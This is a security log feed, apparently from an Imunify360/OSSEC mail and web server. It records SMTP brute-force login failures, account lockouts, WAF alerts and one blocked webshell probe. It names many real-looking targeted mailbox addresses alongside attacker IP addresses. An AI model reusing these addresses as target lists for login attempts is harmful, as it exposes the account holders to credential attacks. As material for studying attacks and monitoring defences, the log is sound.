name: Exim Auth failed
abuser: 213.67.45.29
country_id: 2661886
description:
2026-02-01 05:39:33 dovecot_plain authenticator failed for H=213-67-45-29-no600.tbcn.telia.com (perbaphely) [213.67.45.29]:50744: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:39:05 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:49927: 535 Incorrect authentication data (set_id=testing@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:39:12 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63803: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:39:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:39:18 dovecot_login authenticator failed for H=(ZD1zaPl) [178.16.52.139]:49796: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.135
country_id: 2017370
description:
2026-02-01 05:39:21 dovecot_login authenticator failed for H=([178.178.194.135]) [178.178.194.135]:45586: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:39:26 dovecot_login authenticator failed for H=(af82SX) [185.36.81.54]:52624: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:39:28 dovecot_login authenticator failed for H=(fvjbuq1) [158.94.208.175]:56139: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.99.92.166
country_id: 2589581
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/listing-details.php?id=54324787 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.167
country_id: 690791
description:
2026-02-01 05:39:42 H=([77.83.39.167]) [77.83.39.167]:57730 F=<stevenwelbou@op.pl> rejected RCPT <fkr@fkr.com.my>: SPF: 77.83.39.167 is not allowed to send mail from op.pl


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:39:57 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:39:02 dovecot_login authenticator failed for H=(RWyPxySjh) [141.98.11.11]:59235: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:39:08 dovecot_login authenticator failed for H=(FgaZVF) [45.94.31.131]:56710: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:39:13 dovecot_login authenticator failed for H=(N66UKtd) [178.16.54.22]:61712: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 103.203.57.18
country_id: 1814991
description:
2026-02-01  5:39:18 204345 [Warning] Aborted connection 204345 to db: 'unconnected' user: 'unauthenticated' host: '103.203.57.18' (This connection closed normally without authentication)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:39:57 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54910: 535 Incorrect authentication data (set_id=test@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.117
country_id: 1814991
description:
2026-02-01 05:41:00 dovecot_login authenticator failed for H=([111.61.175.117]) [111.61.175.117]:18016: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.182.165.19
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=4&sub=2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:40:26 dovecot_login authenticator failed for H=(7Ch5Q7da) [141.98.11.11]:53174: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:40:58 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.178.82.215
country_id: 1814991
description:
2026-02-01 05:40:58 dovecot_login authenticator failed for H=([61.178.82.215]) [61.178.82.215]:50850: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:40:08 dovecot_login authenticator failed for H=(QLhxFV) [45.94.31.131]:62379: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:40:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:40:22 dovecot_login authenticator failed for H=(YtNI9yGfN) [178.16.54.22]:55989: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.98.147.214
country_id: 3017382
description:
2026-02-01 05:40:56 dovecot_login authenticator failed for H=ip214.ip-87-98-147.eu (ADMIN) [87.98.147.214]:49538: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:40:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52078: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:40:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:40:19 dovecot_login authenticator failed for H=(q2VKsF) [158.94.208.215]:55252: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:40:23 dovecot_login authenticator failed for H=(SoSdNNRk) [185.36.81.54]:61344: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-02-01 05:40:47 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:41774: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:40:36 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:57209: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:40:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:40:13 dovecot_login authenticator failed for H=(rxhdP7) [178.16.52.139]:62658: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:40:14 dovecot_login authenticator failed for H=(NunylPwS) [158.94.208.175]:52071: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-02-01 05:40:22 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:38150: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:41:16 dovecot_login authenticator failed for H=(D8XtmN0QE) [178.16.52.139]:51188: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:41:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:41:29 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:41:15 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50465: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.241.50
country_id: 1814991
description:
2026-02-01 05:41:35 dovecot_login authenticator failed for H=([218.21.241.50]) [218.21.241.50]:35770: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-01 05:41:35 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:56396: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:41:09 dovecot_login authenticator failed for H=(qsvrn7) [45.94.31.131]:63091: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:41:06 dovecot_login authenticator failed for H=(oSEc9LNNRK) [141.98.11.11]:61511: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:41:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:41:26 dovecot_login authenticator failed for H=(5xksBcWTmf) [185.36.81.54]:50307: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:41:07 dovecot_login authenticator failed for H=(BzAPQLNa) [158.94.208.215]:54257: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:41:24 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:61202: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:41:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.10.56.170
country_id: 732800
description:
2026-02-01 05:41:09 dovecot_login authenticator failed for H=46-10-56-170.ip.btc-net.bg [46.10.56.170]:52242: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 142.112.89.138
country_id: 6251999
description:
2026-02-01 05:41:53 dovecot_login authenticator failed for H=ipagstaticip-26846e71-b733-4d8b-bfa7-a49755089ffe.sdsl.bell.ca [142.112.89.138]:65072: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:41:08 dovecot_login authenticator failed for H=(tSHKJxDQ) [178.16.54.22]:52766: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:41:24 dovecot_login authenticator failed for H=(Bbi81k3d) [158.94.208.175]:62082: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.114.129.100
country_id: 2017370
description:
2026-02-01 05:41:32 dovecot_login authenticator failed for H=(host-194-114-129-100.bisv.ru) [194.114.129.100]:60198: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:41:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:42:12 dovecot_login authenticator failed for H=(PwxRkZ) [141.98.11.11]:50641: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:42:29 dovecot_login authenticator failed for H=(N3QOC03gwz) [185.36.81.54]:64708: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.36.14.91
country_id: 6252001
description:
2026-02-01 05:42:56 dovecot_plain authenticator failed for H=(WIN-BGU86CDI74S) [76.36.14.91]:60086: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.223.41.90
country_id: 1835841
description:
2026-02-01 05:42:53 dovecot_login authenticator failed for H=([211.223.41.90]) [211.223.41.90]:53690: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:42:10 dovecot_login authenticator failed for H=(QFuhBIOy) [158.94.208.175]:60404: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:42:16 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:49537: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:42:17 dovecot_login authenticator failed for H=(nfBVR3zRPd) [178.16.54.22]:52896: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.213
country_id: 1269750
description:
2026-02-01 05:42:32 dovecot_login authenticator failed for H=([122.187.230.213]) [122.187.230.213]:48906: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:42:19 dovecot_login authenticator failed for H=(EzEAcieCm) [158.94.208.215]:61772: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.92.61.242
country_id: 1814991
description:
2026-02-01 05:42:56 dovecot_login authenticator failed for H=([222.92.61.242]) [222.92.61.242]:36834: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:42:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:42:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:42:11 dovecot_login authenticator failed for H=(qDhUtEU3r) [178.16.52.139]:52518: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:42:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:42:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:42:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:42:10 dovecot_login authenticator failed for H=(5AnKxUG) [45.94.31.131]:63761: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.177.53.161
country_id: 6252001
description:
2026-02-01 05:42:21 dovecot_plain authenticator failed for H=(WIN-BGU86CDI74S) [198.177.53.161]:21337: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:42:21 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:49956: 535 Incorrect authentication data (set_id=testing@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.90.221.192
country_id: 286963
description:
2026-02-01 05:42:36 dovecot_plain authenticator failed for H=(WIN-BGU86CDI74S) [45.90.221.192]:44470: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.36.14.91
country_id: 6252001
description:
2026-02-01 05:43:04 dovecot_login authenticator failed for H=(WIN-BGU86CDI74S) [76.36.14.91]:60086: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 05:43:06 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:36176: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:43:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:43:19 dovecot_login authenticator failed for H=(PyPmu5E) [141.98.11.11]:65001: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-02-01 05:43:59 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:47854: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:43:03 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:53168: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:43:08 dovecot_login authenticator failed for H=(ROki72CTKj) [45.94.31.131]:59748: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 05:43:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching@pftfood.com has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:43:03 dovecot_login authenticator failed for H=(IwNOAi) [178.16.54.22]:60202: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 50.235.31.47
country_id: 6252001
description:
Feb  1 05:43:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(50.235.31.47)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:43:07 dovecot_login authenticator failed for H=(SyaLXL6XVH) [158.94.208.215]:57490: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.206.192.74
country_id: 1327865
description:
2026-02-01 05:43:11 dovecot_plain authenticator failed for H=(WIN-BGU86CDI74S) [116.206.192.74]:59823: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:43:19 dovecot_login authenticator failed for H=(Nn8fvLuJb) [185.36.81.54]:55786: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.45
country_id: 2750405
description:
2026-02-01 05:43:41 dovecot_login authenticator failed for H=(localhost.localdomain) [91.92.241.45]:65218: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.180.6
country_id: 953987
description:
2026-02-01 05:43:42 dovecot_plain authenticator failed for H=(WIN-BGU86CDI74S) [102.207.180.6]:46875: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:43:13 dovecot_login authenticator failed for H=(fgsvZP9QNd) [178.16.52.139]:55026: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:43:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:43:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:43:19 dovecot_login authenticator failed for H=(DA3AGYAIN) [158.94.208.175]:56601: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.77.200.248
country_id: 174982
description:
2026-02-01 05:43:27 dovecot_plain authenticator failed for H=(WIN-BGU86CDI74S) [5.77.200.248]:45552: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.14.10.34
country_id: 3017382
description:
2026-02-01 05:44:33 dovecot_plain authenticator failed for H=laubervilliers-657-1-52-34.w80-14.abo.wanadoo.fr (carcies) [80.14.10.34]:35642: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.49.137.148
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=655126 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:44:06 dovecot_login authenticator failed for H=(4jZkuuv2) [45.94.31.131]:53834: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:44:08 dovecot_login authenticator failed for H=(YgER00kVB) [178.16.52.139]:55840: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-02-01 05:44:16 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:49546: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:44:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:44:19 dovecot_login authenticator failed for H=(h1uEAoT6) [158.94.208.215]:64719: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:44:56 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:44:05 dovecot_login authenticator failed for H=(95oSarFE) [158.94.208.175]:65112: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:44:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:44:12 dovecot_login authenticator failed for H=(o5lGHmOLHu) [178.16.54.22]:57459: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:44:39 dovecot_login authenticator failed for H=(KQxsx5IAc) [141.98.11.11]:60834: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 05:44:37 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching@pftfood.com has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:44:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:44:33 dovecot_login authenticator failed for H=(d1v15a) [185.36.81.54]:51534: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
